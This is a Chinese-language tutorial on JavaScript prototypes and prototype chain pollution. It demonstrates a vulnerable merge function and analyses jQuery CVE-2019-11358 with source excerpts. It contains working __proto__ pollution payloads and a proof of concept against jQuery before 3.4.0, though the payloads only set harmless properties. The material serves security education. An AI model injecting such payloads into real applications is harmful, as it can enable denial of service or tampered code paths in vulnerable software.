在JavaScript
中, 构造函数相当于类, 且可以将其实例化. 如果要定义一个类, 需要以定义构造函数的方式来定义. 在JavaScript
中, 通过new
关键词或Object.create()
方法来进行对象实例的创建.
function Func() { this.demo = 1; } var func = new Func();
所有的JavaScript
对象都会从一个原型对象prototype
中继承属性和方法, JavaScript
的每一个函数/类都有一个prototype
属性, 用来指向该构造函数的原型.
例如前面的Func
函数, 其prototype
属性指向了该构造函数的原型本身.
JavaScript
的每一个实例对象都有一个__proto__
属性指向该实例对象的原型. 例如前面的Func
函数, 其实例对象func
就有__proto__
属性, 访问该属性可知是指向func
这个实例对象的原型的.
实例对象由函数生成, 实例对象的__proto__
属性是指向函数的prototype
属性的.
且在调用过程中, 无论是调用实例对象的__proto__
属性, 还是调用构造函数/类的prototype
属性, 它们均有一个__proto__
属性指向Object
, 而再往下调用__proto__
属性就是调用Object.__proto__
, 其值为null
.
原型链: 由于__proto__
是任何JavaScript
对象都有的属性, 而JavaScript
中万物皆对象, 因此会形成一条__proto__
连起来的链, 递归访问__proto__
直至到终点即值为null
. 上文中用到的Func
构造函数和func
实例对象的原型链如下:
func -> Func.prototype -> Object.prototype -> null
数组的原型链:
array -> Array.prototype -> Object.prototype -> null
日期的原型链:
data -> Date.prototype -> Object.prototype -> null
函数的原型链:
func -> function.prototype -> Object.prototype -> null
原型链的结构图如下图所示:
这里func
是实例对象, Func.prototype
是原型, 原型通过__proto__
访问原型对象, 实例对象继承的就是原型及其原型对象的属性.
调用对象属性时会查找属性, 如果本身没有,则会去__proto__
中查找, 也就是构造函数的显式原型中查找, 如果构造函数中也没有该属性, 因为构造函数也是对象, 也有__proto__
, 那么会去__proto__
的显式原型中查找, 一直到null
, 这一过程很好的说明了原型才是继承的基础. 例如如下代码, Son
类继承了Father
类的last_name
属性, 最后输出的是Name: Lisa Alpha
.
function Father() { this.first_name = 'Tome' this.last_name = 'Alpha' } function Son() { this.first_name = 'Lisa' } Son.prototype = new Father() let son = new Son() console.log(`Name: ${son.first_name} ${son.last_name}`)
对于对象son
在调用son.last_name
的时候, 实际上JavaScript
引擎会进行如下操作:
son
中寻找last_name
.son.__proto__
中寻找last_name
.son.__proto__.__proto__
中寻找last_name
.null
结束. 比如, Object.prototype
的__proto__
就是null
.在JavaScript
中访问一个对象的属性可以用param1.param2.param3
或者praram1["param2"]["param3"]
来访问. 由于对象是无序的, 当使用第二种方式访问对象时, 只能使用指明下标的方式去访问. 因此我们可以通过param1["__proto__"]
的方式去访问其原型对象. 原型链污染一般会出现在对象或数组的键名或属性名可控, 而且是赋值语句的情况下.
在实际应用场景中, 当攻击者控制并修改了一个对象的原型, 那么将可以影响所有和这个对象来自同一个类、父祖类的对象, 这种攻击方式就是原型链污染.
从代码层面上来理解原型链污染机制, 代码如下所示:
function Func() { this.param = 1; } var func = new Func(); console.log(func.param); func.__proto__.__proto__["params"] = 2; var funcs = new Func(); console.log(funcs.params);
在上文中说到了, 原型链污染一般会出现在对象或数组的键名或属性名可控, 而且是赋值语句的情况下. 因此, 一般可以设置__proto__
值的场景, 即能够控制数组(对象)的键名的操作的场景中容易出现JavaScript
原型链污染. 这里主要有以下两种:
merge
, 即合并数组对象的操作.clone
, 内核中就是将待操作的对象merge
到一个空对象中.以对象merge
为例, 参考P神文章中用到的merge
函数:
function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } }
其在合并的过程中, 存在赋值的操作target[key] = source[key]
. 因此, 当控制target
的键key
为__proto__
时就能对原型链进行污染. 示例Payload
如下所示:
let demo1 = {}; let demo2 = {name : 'h3', "__proto__" : {age : 20}}; merge(demo1, demo2); console.log(demo1.name, demo1.age); let demo3 = {}; console.log(demo3.name, demo3.age);
可以看到该Payload
并未污染成功, 这是因为, JavaScript
创建demo2
的过程中, proto
已经代表demo2
的原型, 此时遍历demo2
的所有键名时, 拿到的是[name, age]
, proto
并不是一个key
, 自然也不会修改Object
的原型. 此时, 需要将demo2
实例对象那部分改为JSON
格式, 修改后的Payload
如下:
let demo1 = {}; let demo2 = JSON.parse('{"name" : \"h3\", "__proto__" : {"age" : 20}}'); merge(demo1, demo2); console.log(demo1.name, demo1.age); let demo3 = {}; console.log(demo3.age);
可以看到, 新建的demo3
对象, 也存在age
属性, 说明Object
已经被污染了. 这是因为, JSON
解析的情况下, __proto__
会被认为是一个真正的"键名", 而不代表"原型", 所以在遍历demo2
的时候会存在这个键. merge
操作是最常见可能控制键名的操作, 也最能被原型链攻击, 很多常见的库都存在这个问题.
CVE-2019-11358
原型污染漏洞: 3.4.0
版本之前的jQuery
存在一个原型污染漏洞, 由攻击者控制的属性可被注入对象, 之后或经由触发JavaScript
异常引发拒绝服务, 或篡改该应用程序源代码从而强制执行攻击者注入的代码路径.
PoC
如下:
$.extend(true, {}, JSON.parse('{"__proto__": {"exploit": "h3rmesk1t"}}')) console.log(exploit);
查看3.3.1
版本的JQuery
源码, 漏洞点在在src/core.js
文件中的extend
函数. 如果该函数的第一个参数为布尔型的true
, 合并操作就是深拷贝模式.
jQuery.extend = jQuery.fn.extend = function() { var options, name, src, copy, copyIsArray, clone, target = arguments[ 0 ] || {}, i = 1, length = arguments.length, deep = false; // Handle a deep copy situation if ( typeof target === "boolean" ) { deep = target; // Skip the boolean and the target target = arguments[ i ] || {}; i++; } ...... };
经过if
函数判断后, 进入for
循环, options
取传入的参数arguments[i]
, 接着将options
遍历赋值给copy
, 即copy
外部可控.
for ( ; i < length; i++ ) { // Only deal with non-null/undefined values if ( ( options = arguments[ i ] ) != null ) { // Extend the base object for ( name in options ) { src = target[ name ]; copy = options[ name ]; ...... } } }
接着判断copy
是否是数组, 若是, 则调用jQuery.extend()
函数, 该函数用于将一个或多个对象的内容合并到目标对象, 这里是将外部可控的copy
数组扩展到target
数组中; 若copy
非数组而是个对象, 则直接将copy
变量值赋值给target[name]
.
// Recurse if we're merging plain objects or arrays if ( deep && copy && ( jQuery.isPlainObject( copy ) || ( copyIsArray = Array.isArray( copy ) ) ) ) { if ( copyIsArray ) { copyIsArray = false; clone = src && Array.isArray( src ) ? src : []; } else { clone = src && jQuery.isPlainObject( src ) ? src : {}; } // Never move original objects, clone them target[ name ] = jQuery.extend( deep, clone, copy ); // Don't bring in undefined values } else if ( copy !== undefined ) { target[ name ] = copy; }
此时, 如果将name
设置为__proto__
, 则会向上影响target
的原型, 进而覆盖造成原型污染. 而target
数组时取传入的参数arguments[0]
: target = arguments[ 0 ] || {}
.
target
变量可以通过外部传入的参数arguments
数组的第一个元素来设置target
数组的键name
对应的值为__proto__
, 而options
变量可通过外部传入的参数arguments[i]
进行赋值, copy
变量又是由options
遍历赋值的, 进而导致copy
变量外部可控, 最后会将copy
合入或赋值到target
数组中, 因此当target[__proto__] = 外部可控copy
时, 即存在原型污染漏洞.
var jquery = document.createElement('script'); jquery.src = 'https://code.jquery.com/jquery-3.3.1.min.js'; let exp = $.extend(true, {}, JSON.parse('{"__proto__": {"exploit": "h3rmesk1t"}}')); console.log({}.exploit);
jQuery
在3.4.0
版本里修复了该漏洞, 通过判断属性中是否有__proto__
, 如果有就跳过, 不合并.